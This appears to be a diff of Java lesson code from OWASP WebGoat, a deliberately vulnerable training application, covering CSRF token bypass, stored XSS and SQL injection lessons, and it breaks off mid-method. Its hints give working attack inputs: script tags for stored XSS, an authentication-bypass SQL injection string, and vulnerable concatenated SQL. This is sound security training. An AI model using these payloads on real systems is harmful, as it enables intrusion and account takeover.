httpSession.setAttribute(CSRFTOKEN, token); httpSession.setAttribute(CSRFTOKEN, token);
//present transfer form //present transfer form
ec.addElement(new H1("Electronic Transfer:")); ec.addElement(new H1("Electronic Transfer:"));
String action = getLink(); String action = getLink();
Form form = new Form(action, Form.POST); Form form = new Form(action, Form.POST);
form.addAttribute("id", "transferForm"); form.addAttribute("id", "transferForm");
form.addElement( new Input(Input.text, TRANSFER_FUNDS_PARAMETER, "0")); form.addElement( new Input(Input.text, TRANSFER_FUNDS_PARAMETER, "0"));
form.addElement( new Input(Input.hidden, CSRFTOKEN, token)); form.addElement( new Input(Input.hidden, CSRFTOKEN, token));
form.addElement( new Input(Input.submit)); form.addElement( new Input(Input.submit));
ec.addElement(form); ec.addElement(form);
//present transfer funds form //present transfer funds form
} else if (transferFunds.length() > 0 && sessionToken != null && sessionToken.equals(passedInToken)){ } else if (transferFunds.length() > 0 && sessionToken != null && sessionToken.equals(passedInToken)){
//transfer is confirmed //transfer is confirmed
ec.addElement(new H1("Electronic Transfer Complete")); ec.addElement(new H1("Electronic Transfer Complete"));
ec.addElement(new StringElement("Amount Transfered: "+transferFunds)); ec.addElement(new StringElement("Amount Transfered: "+transferFunds));
makeSuccess(s); makeSuccess(s);
} }
//white space //white space
ec.addElement(new BR()); ec.addElement(new BR());
ec.addElement(new BR()); ec.addElement(new BR());
ec.addElement(new BR()); ec.addElement(new BR());
} }
return ec; return ec;
} }
private final static Integer DEFAULT_RANKING = new Integer(123); private final static Integer DEFAULT_RANKING = new Integer(123);
@Override @Override
protected Integer getDefaultRanking() protected Integer getDefaultRanking()
{ {
return DEFAULT_RANKING; return DEFAULT_RANKING;
} }
@Override @Override
protected List<String> getHints(WebSession s) protected List<String> getHints(WebSession s)
{ {
List<String> hints = new ArrayList<String>(); List<String> hints = new ArrayList<String>();
hints.add("Add 'transferFunds=main' to the URL and inspect the form that is returned"); hints.add("Add 'transferFunds=main' to the URL and inspect the form that is returned");
hints.add("The forged request needs both a token and the transfer funds parameter"); hints.add("The forged request needs both a token and the transfer funds parameter");
hints.add("Find the token in the page with transferFunds=main. Can you script a way to get the token?"); hints.add("Find the token in the page with transferFunds=main. Can you script a way to get the token?");
return hints; return hints;
} }
/** /**
* Gets the title attribute of the MessageBoardScreen object * Gets the title attribute of the MessageBoardScreen object
* *
* @return The title value * @return The title value
*/ */
public String getTitle() public String getTitle()
{ {
return ("CSRF Token By-Pass"); return ("CSRF Token By-Pass");
} }
public Element getCredits() public Element getCredits()
{ {
A partnet = new A("http://www.partnet.com"); A partnet = new A("http://www.partnet.com");
partnet.setPrettyPrint(false); partnet.setPrettyPrint(false);
partnet.addElement(new StringElement("PART")); partnet.addElement(new StringElement("PART"));
partnet.addElement(new B().addElement(new StringElement("NET")).setPrettyPrint(false)); partnet.addElement(new B().addElement(new StringElement("NET")).setPrettyPrint(false));
partnet.setStyle("background-color:midnightblue;color:white"); partnet.setStyle("background-color:midnightblue;color:white");
ElementContainer credits = new ElementContainer(); ElementContainer credits = new ElementContainer();
credits.addElement(new StringElement("Contributed by ")); credits.addElement(new StringElement("Contributed by "));
credits.addElement(partnet); credits.addElement(partnet);
return credits; return credits;
} }
} }

View File

@ -53,191 +53,191 @@ import org.owasp.webgoat.session.WebSession;
*/ */
public class DBCrossSiteScripting extends GoatHillsFinancial public class DBCrossSiteScripting extends GoatHillsFinancial
{ {
private final static Integer DEFAULT_RANKING = new Integer(100); private final static Integer DEFAULT_RANKING = new Integer(100);
public final static String STAGE1 = "Stored XSS"; public final static String STAGE1 = "Stored XSS";
public final static String STAGE2 = "Block Stored XSS using DB Input Validation"; public final static String STAGE2 = "Block Stored XSS using DB Input Validation";
protected void registerActions(String className) protected void registerActions(String className)
{ {
registerAction(new ListStaff(this, className, LISTSTAFF_ACTION)); registerAction(new ListStaff(this, className, LISTSTAFF_ACTION));
registerAction(new SearchStaff(this, className, SEARCHSTAFF_ACTION)); registerAction(new SearchStaff(this, className, SEARCHSTAFF_ACTION));
registerAction(new ViewProfile(this, className, VIEWPROFILE_ACTION)); registerAction(new ViewProfile(this, className, VIEWPROFILE_ACTION));
registerAction(new EditProfile(this, className, EDITPROFILE_ACTION)); registerAction(new EditProfile(this, className, EDITPROFILE_ACTION));
registerAction(new EditProfile(this, className, CREATEPROFILE_ACTION)); registerAction(new EditProfile(this, className, CREATEPROFILE_ACTION));
// These actions are special in that they chain to other actions. // These actions are special in that they chain to other actions.
registerAction(new Login(this, className, LOGIN_ACTION, getAction(LISTSTAFF_ACTION))); registerAction(new Login(this, className, LOGIN_ACTION, getAction(LISTSTAFF_ACTION)));
registerAction(new Logout(this, className, LOGOUT_ACTION, getAction(LOGIN_ACTION))); registerAction(new Logout(this, className, LOGOUT_ACTION, getAction(LOGIN_ACTION)));
registerAction(new FindProfile(this, className, FINDPROFILE_ACTION, getAction(VIEWPROFILE_ACTION))); registerAction(new FindProfile(this, className, FINDPROFILE_ACTION, getAction(VIEWPROFILE_ACTION)));
registerAction(new UpdateProfile(this, className, UPDATEPROFILE_ACTION, getAction(VIEWPROFILE_ACTION))); registerAction(new UpdateProfile(this, className, UPDATEPROFILE_ACTION, getAction(VIEWPROFILE_ACTION)));
registerAction(new DeleteProfile(this, className, DELETEPROFILE_ACTION, getAction(LISTSTAFF_ACTION))); registerAction(new DeleteProfile(this, className, DELETEPROFILE_ACTION, getAction(LISTSTAFF_ACTION)));
} }
/** /**
* Gets the category attribute of the CrossSiteScripting object * Gets the category attribute of the CrossSiteScripting object
* *
* @return The category value * @return The category value
*/ */
public Category getDefaultCategory() public Category getDefaultCategory()
{ {
return Category.XSS; return Category.XSS;
} }
/** /**
* Gets the hints attribute of the DirectoryScreen object * Gets the hints attribute of the DirectoryScreen object
* *
* @return The hints value * @return The hints value
*/ */
protected List<String> getHints(WebSession s) protected List<String> getHints(WebSession s)
{ {
List<String> hints = new ArrayList<String>(); List<String> hints = new ArrayList<String>();
// Stage 1 // Stage 1
hints.add("You can put HTML tags in form input fields."); hints.add("You can put HTML tags in form input fields.");
hints.add("Bury a SCRIPT tag in the field to attack anyone who reads it."); hints.add("Bury a SCRIPT tag in the field to attack anyone who reads it.");
hints hints
.add("Enter this: &lt;script language=\"javascript\" type=\"text/javascript\"&gt;alert(\"Ha Ha Ha\");&lt;/script&gt; in message fields."); .add("Enter this: &lt;script language=\"javascript\" type=\"text/javascript\"&gt;alert(\"Ha Ha Ha\");&lt;/script&gt; in message fields.");
hints.add("Enter this: &lt;script&gtalert(\"document.cookie\");&lt;/script&gt; in message fields."); hints.add("Enter this: &lt;script&gtalert(\"document.cookie\");&lt;/script&gt; in message fields.");
// Stage 2 // Stage 2
hints.add("Many scripts rely on the use of special characters such as: &lt;"); hints.add("Many scripts rely on the use of special characters such as: &lt;");
hints hints
.add("Allowing only a certain set of characters (positive filtering) is preferred to blocking a set of characters (negative filtering)."); .add("Allowing only a certain set of characters (positive filtering) is preferred to blocking a set of characters (negative filtering).");
hints.add("Oracle 10 supports a regular expression matching function : REGEXP_LIKE(text, pattern)."); hints.add("Oracle 10 supports a regular expression matching function : REGEXP_LIKE(text, pattern).");
return hints; return hints;
} }
/** /**
* Gets the instructions attribute of the ParameterInjection object * Gets the instructions attribute of the ParameterInjection object
* *
* @return The instructions value * @return The instructions value
*/ */
public String getInstructions(WebSession s) public String getInstructions(WebSession s)
{ {
String instructions = ""; String instructions = "";
if (!getLessonTracker(s).getCompleted()) if (!getLessonTracker(s).getCompleted())
{ {
String stage = getStage(s); String stage = getStage(s);
if (STAGE1.equals(stage)) if (STAGE1.equals(stage))
{ {
instructions = "Stage 1: Execute a Stored Cross Site Scripting (XSS) attack.<br><br>" instructions = "Stage 1: Execute a Stored Cross Site Scripting (XSS) attack.<br><br>"
+ "<b><font color=blue> THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOAT</font></b><br/><br/>" + "<b><font color=blue> THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOAT</font></b><br/><br/>"
+ "As 'Tom', execute a Stored XSS attack against the Street field on the Edit Profile page. " + "As 'Tom', execute a Stored XSS attack against the Street field on the Edit Profile page. "
+ "Verify that 'Jerry' is affected by the attack. " + "Verify that 'Jerry' is affected by the attack. "
+ "A sample JavaScript snippet you can use is: &lt;SCRIPT&gt;alert('bang!');&lt;/SCRIPT&gt;."; + "A sample JavaScript snippet you can use is: &lt;SCRIPT&gt;alert('bang!');&lt;/SCRIPT&gt;.";
} }
else if (STAGE2.equals(stage)) else if (STAGE2.equals(stage))
{ {
instructions = "Stage 2: Block Stored XSS using Input Validation.<br>" instructions = "Stage 2: Block Stored XSS using Input Validation.<br>"
+ "Implement a fix in the stored procedure to prevent the stored XSS from being written to the database. "; + "Implement a fix in the stored procedure to prevent the stored XSS from being written to the database. ";
if (getWebgoatContext().getDatabaseDriver().contains("jtds")) if (getWebgoatContext().getDatabaseDriver().contains("jtds"))
instructions += "Use the provided user-defined function RegexMatch to test the data against a pattern. "; instructions += "Use the provided user-defined function RegexMatch to test the data against a pattern. ";
instructions += "A sample regular expression pattern: ^[a-zA-Z0-9,\\. ]{0,80}$ " instructions += "A sample regular expression pattern: ^[a-zA-Z0-9,\\. ]{0,80}$ "
+ "Repeat stage 1 as 'Eric' with 'David' as the manager. Verify that 'David' is not affected by the attack."; + "Repeat stage 1 as 'Eric' with 'David' as the manager. Verify that 'David' is not affected by the attack.";
} }
} }
return instructions; return instructions;
} }
@Override @Override
public String[] getStages() public String[] getStages()
{ {
if (getWebgoatContext().isCodingExercises()) return new String[] { STAGE1, STAGE2 }; if (getWebgoatContext().isCodingExercises()) return new String[] { STAGE1, STAGE2 };
return new String[] { STAGE1 }; return new String[] { STAGE1 };
} }
public void handleRequest(WebSession s) public void handleRequest(WebSession s)
{ {
if (s.getLessonSession(this) == null) s.openLessonSession(this); if (s.getLessonSession(this) == null) s.openLessonSession(this);
String requestedActionName = null; String requestedActionName = null;
try try
{ {
requestedActionName = s.getParser().getStringParameter("action"); requestedActionName = s.getParser().getStringParameter("action");
} catch (ParameterNotFoundException pnfe) } catch (ParameterNotFoundException pnfe)
{ {
// Let them eat login page. // Let them eat login page.
requestedActionName = LOGIN_ACTION; requestedActionName = LOGIN_ACTION;
} }
if (requestedActionName != null) if (requestedActionName != null)
{ {
try try
{ {
LessonAction action = getAction(requestedActionName); LessonAction action = getAction(requestedActionName);
if (action != null) if (action != null)
{ {
if (!action.requiresAuthentication() || action.isAuthenticated(s)) if (!action.requiresAuthentication() || action.isAuthenticated(s))
{ {
action.handleRequest(s); action.handleRequest(s);
// setCurrentAction(s, action.getNextPage(s)); // setCurrentAction(s, action.getNextPage(s));
} }
} }
else else
{ {
setCurrentAction(s, ERROR_ACTION); setCurrentAction(s, ERROR_ACTION);
} }
} catch (ParameterNotFoundException pnfe) } catch (ParameterNotFoundException pnfe)
{ {
// System.out.println("Missing parameter"); // System.out.println("Missing parameter");
pnfe.printStackTrace(); pnfe.printStackTrace();
setCurrentAction(s, ERROR_ACTION); setCurrentAction(s, ERROR_ACTION);
} catch (ValidationException ve) } catch (ValidationException ve)
{ {
// System.out.println("Validation failed"); // System.out.println("Validation failed");
ve.printStackTrace(); ve.printStackTrace();
setCurrentAction(s, ERROR_ACTION); setCurrentAction(s, ERROR_ACTION);
} catch (UnauthenticatedException ue) } catch (UnauthenticatedException ue)
{ {
s.setMessage("Login failed"); s.setMessage("Login failed");
// System.out.println("Authentication failure"); // System.out.println("Authentication failure");
ue.printStackTrace(); ue.printStackTrace();
} catch (UnauthorizedException ue2) } catch (UnauthorizedException ue2)
{ {
s.setMessage("You are not authorized to perform this function"); s.setMessage("You are not authorized to perform this function");
// System.out.println("Authorization failure"); // System.out.println("Authorization failure");
ue2.printStackTrace(); ue2.printStackTrace();
} catch (Exception e) } catch (Exception e)
{ {
// All other errors send the user to the generic error page // All other errors send the user to the generic error page
// System.out.println("handleRequest() error"); // System.out.println("handleRequest() error");
e.printStackTrace(); e.printStackTrace();
setCurrentAction(s, ERROR_ACTION); setCurrentAction(s, ERROR_ACTION);
} }
} }
// All this does for this lesson is ensure that a non-null content exists. // All this does for this lesson is ensure that a non-null content exists.
setContent(new ElementContainer()); setContent(new ElementContainer());
} }
protected Integer getDefaultRanking() protected Integer getDefaultRanking()
{ {
return DEFAULT_RANKING; return DEFAULT_RANKING;
} }
/** /**
* Gets the title attribute of the CrossSiteScripting object * Gets the title attribute of the CrossSiteScripting object
* *
* @return The title value * @return The title value
*/ */
public String getTitle() public String getTitle()
{ {
return "LAB: DB Cross Site Scripting (XSS)"; return "LAB: DB Cross Site Scripting (XSS)";
} }
@Override @Override
protected boolean getDefaultHidden() protected boolean getDefaultHidden()
{ {
String driver = getWebgoatContext().getDatabaseDriver(); String driver = getWebgoatContext().getDatabaseDriver();
boolean hidden = !(driver.contains("oracle") || driver.contains("jtds")); boolean hidden = !(driver.contains("oracle") || driver.contains("jtds"));
return hidden; return hidden;
} }
} }

View File

@ -49,177 +49,177 @@ import org.owasp.webgoat.session.WebSession;
public class UpdateProfile extends DefaultLessonAction public class UpdateProfile extends DefaultLessonAction
{ {
private LessonAction chainedAction; private LessonAction chainedAction;
public UpdateProfile(GoatHillsFinancial lesson, String lessonName, String actionName, LessonAction chainedAction) public UpdateProfile(GoatHillsFinancial lesson, String lessonName, String actionName, LessonAction chainedAction)
{ {
super(lesson, lessonName, actionName); super(lesson, lessonName, actionName);
this.chainedAction = chainedAction; this.chainedAction = chainedAction;
} }
public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException, public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException,
UnauthorizedException, ValidationException UnauthorizedException, ValidationException
{ {
if (isAuthenticated(s)) if (isAuthenticated(s))
{ {
int userId = getIntSessionAttribute(s, getLessonName() + "." + RoleBasedAccessControl.USER_ID); int userId = getIntSessionAttribute(s, getLessonName() + "." + RoleBasedAccessControl.USER_ID);
HttpServletRequest request = s.getRequest(); HttpServletRequest request = s.getRequest();
int subjectId = Integer.parseInt(request.getParameter(DBCrossSiteScripting.EMPLOYEE_ID)); int subjectId = Integer.parseInt(request.getParameter(DBCrossSiteScripting.EMPLOYEE_ID));
String firstName = request.getParameter(DBCrossSiteScripting.FIRST_NAME); String firstName = request.getParameter(DBCrossSiteScripting.FIRST_NAME);
String lastName = request.getParameter(DBCrossSiteScripting.LAST_NAME); String lastName = request.getParameter(DBCrossSiteScripting.LAST_NAME);
String ssn = request.getParameter(DBCrossSiteScripting.SSN); String ssn = request.getParameter(DBCrossSiteScripting.SSN);
String title = request.getParameter(DBCrossSiteScripting.TITLE); String title = request.getParameter(DBCrossSiteScripting.TITLE);
String phone = request.getParameter(DBCrossSiteScripting.PHONE_NUMBER); String phone = request.getParameter(DBCrossSiteScripting.PHONE_NUMBER);
String address1 = request.getParameter(DBCrossSiteScripting.ADDRESS1); String address1 = request.getParameter(DBCrossSiteScripting.ADDRESS1);
String address2 = request.getParameter(DBCrossSiteScripting.ADDRESS2); String address2 = request.getParameter(DBCrossSiteScripting.ADDRESS2);
int manager = Integer.parseInt(request.getParameter(DBCrossSiteScripting.MANAGER)); int manager = Integer.parseInt(request.getParameter(DBCrossSiteScripting.MANAGER));
String startDate = request.getParameter(DBCrossSiteScripting.START_DATE); String startDate = request.getParameter(DBCrossSiteScripting.START_DATE);
int salary = Integer.parseInt(request.getParameter(DBCrossSiteScripting.SALARY)); int salary = Integer.parseInt(request.getParameter(DBCrossSiteScripting.SALARY));
String ccn = request.getParameter(DBCrossSiteScripting.CCN); String ccn = request.getParameter(DBCrossSiteScripting.CCN);
int ccnLimit = Integer.parseInt(request.getParameter(DBCrossSiteScripting.CCN_LIMIT)); int ccnLimit = Integer.parseInt(request.getParameter(DBCrossSiteScripting.CCN_LIMIT));
String disciplinaryActionDate = request.getParameter(DBCrossSiteScripting.DISCIPLINARY_DATE); String disciplinaryActionDate = request.getParameter(DBCrossSiteScripting.DISCIPLINARY_DATE);
String disciplinaryActionNotes = request.getParameter(DBCrossSiteScripting.DISCIPLINARY_NOTES); String disciplinaryActionNotes = request.getParameter(DBCrossSiteScripting.DISCIPLINARY_NOTES);
String personalDescription = request.getParameter(DBCrossSiteScripting.DESCRIPTION); String personalDescription = request.getParameter(DBCrossSiteScripting.DESCRIPTION);
Employee employee = new Employee(subjectId, firstName, lastName, ssn, title, phone, address1, address2, Employee employee = new Employee(subjectId, firstName, lastName, ssn, title, phone, address1, address2,
manager, startDate, salary, ccn, ccnLimit, disciplinaryActionDate, disciplinaryActionNotes, manager, startDate, salary, ccn, ccnLimit, disciplinaryActionDate, disciplinaryActionNotes,
personalDescription); personalDescription);
try try
{ {
if (subjectId > 0) if (subjectId > 0)
{ {
this.changeEmployeeProfile(s, userId, subjectId, employee); this.changeEmployeeProfile(s, userId, subjectId, employee);
setRequestAttribute(s, getLessonName() + "." + DBCrossSiteScripting.EMPLOYEE_ID, Integer setRequestAttribute(s, getLessonName() + "." + DBCrossSiteScripting.EMPLOYEE_ID, Integer
.toString(subjectId)); .toString(subjectId));
if (DBCrossSiteScripting.STAGE1.equals(getStage(s))) if (DBCrossSiteScripting.STAGE1.equals(getStage(s)))
{ {
address1 = address1.toLowerCase(); address1 = address1.toLowerCase();
boolean pass = address1.contains("<script>"); boolean pass = address1.contains("<script>");
pass &= address1.contains("alert"); pass &= address1.contains("alert");
pass &= address1.contains("</script>"); pass &= address1.contains("</script>");
if (pass) if (pass)
{ {
setStageComplete(s, DBCrossSiteScripting.STAGE1); setStageComplete(s, DBCrossSiteScripting.STAGE1);
} }
} }
} }
else else
this.createEmployeeProfile(s, userId, employee); this.createEmployeeProfile(s, userId, employee);
} catch (SQLException e) } catch (SQLException e)
{ {
s.setMessage("Error updating employee profile"); s.setMessage("Error updating employee profile");
e.printStackTrace(); e.printStackTrace();
if (DBCrossSiteScripting.STAGE2.equals(getStage(s)) if (DBCrossSiteScripting.STAGE2.equals(getStage(s))
&& (e.getMessage().contains("ORA-06512") || e.getMessage().contains("Illegal characters")) && (e.getMessage().contains("ORA-06512") || e.getMessage().contains("Illegal characters"))
&& !employee.getAddress1().matches("^[a-zA-Z0-9,\\. ]{0,80}$")) && !employee.getAddress1().matches("^[a-zA-Z0-9,\\. ]{0,80}$"))
{ {
setStageComplete(s, DBCrossSiteScripting.STAGE2); setStageComplete(s, DBCrossSiteScripting.STAGE2);
} }
} }
try try
{ {
chainedAction.handleRequest(s); chainedAction.handleRequest(s);
} catch (UnauthenticatedException ue1) } catch (UnauthenticatedException ue1)
{ {
// System.out.println("Internal server error"); // System.out.println("Internal server error");
ue1.printStackTrace(); ue1.printStackTrace();
} catch (UnauthorizedException ue2) } catch (UnauthorizedException ue2)
{ {
// System.out.println("Internal server error"); // System.out.println("Internal server error");
ue2.printStackTrace(); ue2.printStackTrace();
} }
} }
else else
throw new UnauthenticatedException(); throw new UnauthenticatedException();
} }
public String getNextPage(WebSession s) public String getNextPage(WebSession s)
{ {
return DBCrossSiteScripting.VIEWPROFILE_ACTION; return DBCrossSiteScripting.VIEWPROFILE_ACTION;
} }
public void changeEmployeeProfile(WebSession s, int userId, int subjectId, Employee employee) throws SQLException public void changeEmployeeProfile(WebSession s, int userId, int subjectId, Employee employee) throws SQLException
{ {
String update = " { CALL UPDATE_EMPLOYEE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?) }"; String update = " { CALL UPDATE_EMPLOYEE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?) }";
CallableStatement call = WebSession.getConnection(s).prepareCall(update); CallableStatement call = WebSession.getConnection(s).prepareCall(update);
// Note: The password field is ONLY set by ChangePassword // Note: The password field is ONLY set by ChangePassword
call.setInt(1, userId); call.setInt(1, userId);
call.setString(2, employee.getFirstName()); call.setString(2, employee.getFirstName());
call.setString(3, employee.getLastName()); call.setString(3, employee.getLastName());
call.setString(4, employee.getSsn()); call.setString(4, employee.getSsn());
call.setString(5, employee.getTitle()); call.setString(5, employee.getTitle());
call.setString(6, employee.getPhoneNumber()); call.setString(6, employee.getPhoneNumber());
call.setString(7, employee.getAddress1()); call.setString(7, employee.getAddress1());
call.setString(8, employee.getAddress2()); call.setString(8, employee.getAddress2());
call.setInt(9, employee.getManager()); call.setInt(9, employee.getManager());
call.setString(10, employee.getStartDate()); call.setString(10, employee.getStartDate());
call.setInt(11, employee.getSalary()); call.setInt(11, employee.getSalary());
call.setString(12, employee.getCcn()); call.setString(12, employee.getCcn());
call.setInt(13, employee.getCcnLimit()); call.setInt(13, employee.getCcnLimit());
call.setString(14, employee.getDisciplinaryActionDate()); call.setString(14, employee.getDisciplinaryActionDate());
call.setString(15, employee.getDisciplinaryActionNotes()); call.setString(15, employee.getDisciplinaryActionNotes());
call.setString(16, employee.getPersonalDescription()); call.setString(16, employee.getPersonalDescription());
call.executeUpdate(); call.executeUpdate();
} }
public void createEmployeeProfile(WebSession s, int userId, Employee employee) throws UnauthorizedException public void createEmployeeProfile(WebSession s, int userId, Employee employee) throws UnauthorizedException
{ {
try try
{ {
int nextId = getNextUID(s); int nextId = getNextUID(s);
String query = "INSERT INTO employee VALUES ( " + nextId + ", ?,?,?,?,?,?,?,?,?,?,?,?,?,?)"; String query = "INSERT INTO employee VALUES ( " + nextId + ", ?,?,?,?,?,?,?,?,?,?,?,?,?,?)";
try try
{ {
PreparedStatement ps = WebSession.getConnection(s).prepareStatement(query); PreparedStatement ps = WebSession.getConnection(s).prepareStatement(query);
ps.setString(1, employee.getFirstName().toLowerCase()); ps.setString(1, employee.getFirstName().toLowerCase());
ps.setString(2, employee.getLastName()); ps.setString(2, employee.getLastName());
ps.setString(3, employee.getSsn()); ps.setString(3, employee.getSsn());
ps.setString(4, employee.getTitle()); ps.setString(4, employee.getTitle());
ps.setString(5, employee.getPhoneNumber()); ps.setString(5, employee.getPhoneNumber());
ps.setString(6, employee.getAddress1()); ps.setString(6, employee.getAddress1());
ps.setString(7, employee.getAddress2()); ps.setString(7, employee.getAddress2());
ps.setInt(8, employee.getManager()); ps.setInt(8, employee.getManager());
ps.setString(9, employee.getStartDate()); ps.setString(9, employee.getStartDate());
ps.setString(10, employee.getCcn()); ps.setString(10, employee.getCcn());
ps.setInt(11, employee.getCcnLimit()); ps.setInt(11, employee.getCcnLimit());
ps.setString(12, employee.getDisciplinaryActionDate()); ps.setString(12, employee.getDisciplinaryActionDate());
ps.setString(13, employee.getDisciplinaryActionNotes()); ps.setString(13, employee.getDisciplinaryActionNotes());
ps.setString(14, employee.getPersonalDescription()); ps.setString(14, employee.getPersonalDescription());
ps.execute(); ps.execute();
} catch (SQLException sqle) } catch (SQLException sqle)
{ {
s.setMessage("Error updating employee profile"); s.setMessage("Error updating employee profile");
sqle.printStackTrace(); sqle.printStackTrace();
} }
} catch (Exception e) } catch (Exception e)
{ {
s.setMessage("Error updating employee profile"); s.setMessage("Error updating employee profile");
e.printStackTrace(); e.printStackTrace();
} }
} }
private int getNextUID(WebSession s) private int getNextUID(WebSession s)
{ {
int uid = -1; int uid = -1;
try try
{ {
Statement statement = WebSession.getConnection(s).createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, Statement statement = WebSession.getConnection(s).createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY); ResultSet.CONCUR_READ_ONLY);
ResultSet results = statement.executeQuery("select max(userid) as uid from employee"); ResultSet results = statement.executeQuery("select max(userid) as uid from employee");
results.first(); results.first();
uid = results.getInt("uid"); uid = results.getInt("uid");
} catch (SQLException sqle) } catch (SQLException sqle)
{ {
sqle.printStackTrace(); sqle.printStackTrace();
s.setMessage("Error updating employee profile"); s.setMessage("Error updating employee profile");
} }
return uid + 1; return uid + 1;
} }
} }

View File

@ -50,195 +50,195 @@ import org.owasp.webgoat.session.WebSession;
* For details, please see http://webgoat.github.io * For details, please see http://webgoat.github.io
*/ */
public class DBSQLInjection extends GoatHillsFinancial public class DBSQLInjection extends GoatHillsFinancial
{ {
private final static Integer DEFAULT_RANKING = new Integer(75); private final static Integer DEFAULT_RANKING = new Integer(75);
public final static int PRIZE_EMPLOYEE_ID = 112; public final static int PRIZE_EMPLOYEE_ID = 112;
public final static String PRIZE_EMPLOYEE_NAME = "Neville Bartholomew"; public final static String PRIZE_EMPLOYEE_NAME = "Neville Bartholomew";
public final static String STAGE1 = "String SQL Injection"; public final static String STAGE1 = "String SQL Injection";
public final static String STAGE2 = "Block SQL Injection using Bind Variables"; public final static String STAGE2 = "Block SQL Injection using Bind Variables";
public void registerActions(String className) public void registerActions(String className)
{ {
registerAction(new ListStaff(this, className, LISTSTAFF_ACTION)); registerAction(new ListStaff(this, className, LISTSTAFF_ACTION));
registerAction(new SearchStaff(this, className, SEARCHSTAFF_ACTION)); registerAction(new SearchStaff(this, className, SEARCHSTAFF_ACTION));
registerAction(new ViewProfile(this, className, VIEWPROFILE_ACTION)); registerAction(new ViewProfile(this, className, VIEWPROFILE_ACTION));
registerAction(new EditProfile(this, className, EDITPROFILE_ACTION)); registerAction(new EditProfile(this, className, EDITPROFILE_ACTION));
registerAction(new EditProfile(this, className, CREATEPROFILE_ACTION)); registerAction(new EditProfile(this, className, CREATEPROFILE_ACTION));
// These actions are special in that they chain to other actions. // These actions are special in that they chain to other actions.
registerAction(new Login(this, className, LOGIN_ACTION, getAction(LISTSTAFF_ACTION))); registerAction(new Login(this, className, LOGIN_ACTION, getAction(LISTSTAFF_ACTION)));
registerAction(new Logout(this, className, LOGOUT_ACTION, getAction(LOGIN_ACTION))); registerAction(new Logout(this, className, LOGOUT_ACTION, getAction(LOGIN_ACTION)));
registerAction(new FindProfile(this, className, FINDPROFILE_ACTION, getAction(VIEWPROFILE_ACTION))); registerAction(new FindProfile(this, className, FINDPROFILE_ACTION, getAction(VIEWPROFILE_ACTION)));
registerAction(new UpdateProfile(this, className, UPDATEPROFILE_ACTION, getAction(VIEWPROFILE_ACTION))); registerAction(new UpdateProfile(this, className, UPDATEPROFILE_ACTION, getAction(VIEWPROFILE_ACTION)));
registerAction(new DeleteProfile(this, className, DELETEPROFILE_ACTION, getAction(LISTSTAFF_ACTION))); registerAction(new DeleteProfile(this, className, DELETEPROFILE_ACTION, getAction(LISTSTAFF_ACTION)));
} }
/** /**
* Gets the category attribute of the CrossSiteScripting object * Gets the category attribute of the CrossSiteScripting object
* *
* @return The category value * @return The category value
*/ */
public Category getDefaultCategory() public Category getDefaultCategory()
{ {
return Category.INJECTION; return Category.INJECTION;
} }
/** /**
* Gets the hints attribute of the DirectoryScreen object * Gets the hints attribute of the DirectoryScreen object
* *
* @return The hints value * @return The hints value
*/ */
protected List<String> getHints(WebSession s) protected List<String> getHints(WebSession s)
{ {
List<String> hints = new ArrayList<String>(); List<String> hints = new ArrayList<String>();
hints.add("The application is taking your input and inserting it at the end of a pre-formed SQL command."); hints.add("The application is taking your input and inserting it at the end of a pre-formed SQL command.");
hints hints
.add("This is the code for the query being built and issued by WebGoat:<br><br> " .add("This is the code for the query being built and issued by WebGoat:<br><br> "
+ "stmt := 'SELECT USERID FROM EMPLOYEE WHERE USERID = ' || v_id || ' AND PASSWORD = ''' || v_password || '''';<br>" + "stmt := 'SELECT USERID FROM EMPLOYEE WHERE USERID = ' || v_id || ' AND PASSWORD = ''' || v_password || '''';<br>"
+ "EXECUTE IMMEDIATE stmt INTO v_userid;"); + "EXECUTE IMMEDIATE stmt INTO v_userid;");
hints hints
.add("Compound SQL statements can be made by joining multiple tests with keywords like AND and OR. " .add("Compound SQL statements can be made by joining multiple tests with keywords like AND and OR. "
+ "Remember: You need to end up with a SQL statement that only returns one row, since we are using an INTO clause"); + "Remember: You need to end up with a SQL statement that only returns one row, since we are using an INTO clause");
// Stage 1 // Stage 1
hints.add("You may need to use WebScarab to remove a field length limit to fit your attack."); hints.add("You may need to use OWASP ZAP to remove a field length limit to fit your attack.");
hints.add("Try entering a password of [ ' OR userid=112 OR password=' ]."); hints.add("Try entering a password of [ ' OR userid=112 OR password=' ].");
// Stage 2 // Stage 2
hints.add("Change the Stored procedure to use bind variables."); hints.add("Change the Stored procedure to use bind variables.");
return hints; return hints;
} }
@Override @Override
public String[] getStages() public String[] getStages()
{ {
if (getWebgoatContext().isCodingExercises()) return new String[] { STAGE1, STAGE2 }; if (getWebgoatContext().isCodingExercises()) return new String[] { STAGE1, STAGE2 };
return new String[] { STAGE1 }; return new String[] { STAGE1 };
} }
/** /**
* Gets the instructions attribute of the ParameterInjection object * Gets the instructions attribute of the ParameterInjection object
* *
* @return The instructions value * @return The instructions value
*/ */
public String getInstructions(WebSession s) public String getInstructions(WebSession s)
{ {
String instructions = ""; String instructions = "";
if (!getLessonTracker(s).getCompleted()) if (!getLessonTracker(s).getCompleted())
{ {
String stage = getStage(s); String stage = getStage(s);
if (STAGE1.equals(stage)) if (STAGE1.equals(stage))
{ {
instructions = "Stage 1: Use String SQL Injection to bypass authentication. " instructions = "Stage 1: Use String SQL Injection to bypass authentication. "
+ "The goal here is to login as the user " + PRIZE_EMPLOYEE_NAME + "The goal here is to login as the user " + PRIZE_EMPLOYEE_NAME
+ ", who is in the Admin group. " + ", who is in the Admin group. "
+ "You do not have the password, but the form is SQL injectable. " + "You do not have the password, but the form is SQL injectable. "
+ "View the EMPLOYEE_LOGIN stored procedure and see if you can " + "View the EMPLOYEE_LOGIN stored procedure and see if you can "
+ "determine why the exploit exists."; + "determine why the exploit exists.";
} }
else if (STAGE2.equals(stage)) else if (STAGE2.equals(stage))
{ {
instructions = "Stage 2: Use bind variables.<br>" instructions = "Stage 2: Use bind variables.<br>"
